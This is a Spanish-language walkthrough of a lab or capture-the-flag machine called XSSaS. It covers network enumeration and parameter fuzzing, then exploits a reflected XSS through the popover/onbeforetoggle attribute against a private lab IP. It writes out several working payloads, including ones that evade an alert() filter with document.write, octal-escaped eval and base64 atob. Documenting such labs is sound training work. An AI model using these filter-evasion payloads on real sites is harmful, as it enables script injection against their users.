XSSaS
Enumeración
sudo arp-scan -I eth0 --localnet
Nmap
En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.

Puerto 80 - HTTP (Werkzeug - Python)
En primer lugar, nos dirigimos al servidor web y tras un buen rato intentando encontrar el vector de entrada veremos que al introducir el parámetro user en la URL, dicho valor se ve reflejado en el atributo value
del campo input
.
Usaremos wfuzz para encontrar el parametro:
wfuzz -c -u "http://192.168.152.129/?FUZZ=test" -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt --hh 548
Encontramos el parametro:

Entonces verificando con los parámetros dados se pudo ver lo siguiente, si evalúa lo que ingresamos al parámetro:

Tal y como vemos a continuación, los caracteres <
y >
están siendo convertidos a <
y <
, por lo que no podremos inyectar un XSS.

Tras revisar el código fuente nos llamará la atención el atributo popovertarget
presente en el button
. Por lo que buscando por internet daremos con el siguiente artículo XSS popovertarget - Portswigger donde explican como acontecer un XSS a partir de este atributo (popovertarget
).

Explotación
XSS
Tras mirar el anterior artículo entenderemos como acontecer un XSS abusando del atributo popovertarget
, en definitiva el payload es el siguiente.
http://<Direccion-IP>/?user="id=x popover onbeforetoggle="prompt(1)
Tal y como vemos a continuación conseguimos mostrar el cuadro del prompt()
.

Usando el mismo payload que antes intentaremos mostrar una ventana de alert()
.
http://192.168.152.129/?user="id=x popover onbeforetoggle="alert(1)

Una forma de bypasear esta comprobación es usando la función document.write()
tal que así.
Destacar la importancia de URL Encodear los +
a %2B
.
http://192.168.152.129/?user="id=x popover onbeforetoggle="document.write('<script>ale'%2B'rt(1)</script>')
Pero no obtuce resultado asi que realice mas busquedas de bypasear:
Encontré el siguiente artículo XSS Bypass alert - Portswigger donde pude extraer los siguientes payloads alternativos para ejecutar el
alert()
.
http://192.168.152.129/?user="id=x popover onbeforetoggle="eval('a\154ert(1)')
http://192.168.152.129/?user="id=x popover onbeforetoggle="eval(atob('YWxlcnQoMSk'));


Ambas funcionan 🎉
Last updated